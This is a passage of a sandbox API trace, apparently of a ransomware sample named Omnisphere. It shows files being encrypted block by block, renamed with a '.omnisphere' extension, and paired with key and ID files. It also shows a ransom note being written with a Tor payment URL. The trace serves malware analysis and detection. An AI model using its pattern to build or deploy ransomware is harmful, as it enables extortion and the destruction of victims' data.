[0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.266] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.267] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.267] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.267] CryptDestroyKey (hKey=0x1639868) returned 1 [0063.267] CryptReleaseContext (hProv=0x163b9f8, dwFlags=0x0) returned 1 [0063.267] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x20b8, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.267] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.267] GetProcessHeap () returned 0x1600000 [0063.267] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x284) returned 0x164d750 [0063.268] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\hp5HOWNcI9SrI.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hp5hownci9sri.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\hp5HOWNcI9SrI.xlsx.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hp5hownci9sri.xlsx.omnisphere")) returned 1 [0063.268] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\hp5HOWNcI9SrI.xlsx.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\hp5HOWNcI9SrI.xlsx.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\hp5HOWNcI9SrI.xlsx.omnisphere.id" [0063.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\hp5HOWNcI9SrI.xlsx.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hp5hownci9sri.xlsx.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.269] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.269] CloseHandle (hObject=0x3a8) returned 1 [0063.270] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0063.271] CloseHandle (hObject=0x3a4) returned 1 [0063.271] SetEndOfFile (hFile=0x3a0) returned 1 [0063.271] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.274] CloseHandle (hObject=0x3a0) returned 1 [0063.274] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\hp5HOWNcI9SrI.xlsx" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.274] GetProcessHeap () returned 0x1600000 [0063.274] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164df78 [0063.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.274] GetProcessHeap () returned 0x1600000 [0063.274] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16419d0 [0063.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16419d0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.274] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.274] GetProcessHeap () returned 0x1600000 [0063.274] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f9d0 [0063.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f9d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.274] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.274] GetProcessHeap () returned 0x1600000 [0063.274] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c5a8 [0063.274] PathCombineW (in: pszDest=0x163c5a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.274] GetProcessHeap () returned 0x1600000 [0063.274] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1657bf8 [0063.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.275] WriteFile (in: hFile=0x3a0, lpBuffer=0x1657bf8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1657bf8*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.275] CloseHandle (hObject=0x3a0) returned 1 [0063.275] GetProcessHeap () returned 0x1600000 [0063.275] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164df78 | out: hHeap=0x1600000) returned 1 [0063.275] GetProcessHeap () returned 0x1600000 [0063.275] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fb00 [0063.275] PathCombineW (in: pszDest=0x163fb00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.275] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.275] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.275] CloseHandle (hObject=0x3a0) returned 1 [0063.276] GetProcessHeap () returned 0x1600000 [0063.276] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fb00 | out: hHeap=0x1600000) returned 1 [0063.276] GetProcessHeap () returned 0x1600000 [0063.276] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f800 | out: hHeap=0x1600000) returned 1 [0063.276] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc947c0, ftCreationTime.dwHighDateTime=0x1d4d412, ftLastAccessTime.dwLowDateTime=0x5abe1300, ftLastAccessTime.dwHighDateTime=0x1d4cd9e, ftLastWriteTime.dwLowDateTime=0x5abe1300, ftLastWriteTime.dwHighDateTime=0x1d4cd9e, nFileSizeHigh=0x0, nFileSizeLow=0x13d8b, dwReserved0=0x0, dwReserved1=0xed, cFileName="I-BWfibG3J13RaqGB.pptx", cAlternateFileName="I-BWFI~1.PPT")) returned 1 [0063.276] GetProcessHeap () returned 0x1600000 [0063.276] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x163bca0 [0063.276] PathCombineW (in: pszDest=0x163bca0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="I-BWfibG3J13RaqGB.pptx" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\I-BWfibG3J13RaqGB.pptx") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\I-BWfibG3J13RaqGB.pptx" [0063.276] StrStrW (lpFirst=".omnisphere", lpSrch=".pptx") returned 0x0 [0063.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\I-BWfibG3J13RaqGB.pptx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\i-bwfibg3j13raqgb.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.276] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=81291) returned 1 [0063.276] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x13867, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.276] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.276] GetTickCount () returned 0x115021f [0063.276] GetTickCount () returned 0x115021f [0063.276] GetTickCount () returned 0x115021f [0063.276] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] GetTickCount () returned 0x115021f [0063.277] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163c630) returned 1 [0063.278] CryptImportKey (in: hProv=0x163c630, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x16396a8) returned 1 [0063.278] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.278] CryptDestroyKey (hKey=0x16396a8) returned 1 [0063.278] CryptReleaseContext (hProv=0x163c630, dwFlags=0x0) returned 1 [0063.278] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d8b, lpName=0x0) returned 0x3a4 [0063.278] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d8b) returned 0x3450000 [0063.279] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163bec0) returned 1 [0063.280] CryptImportKey (in: hProv=0x163bec0, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639528) returned 1 [0063.280] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.280] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.280] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.280] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.280] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.280] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.280] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.280] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.280] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.280] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.280] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.280] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.280] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.281] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, 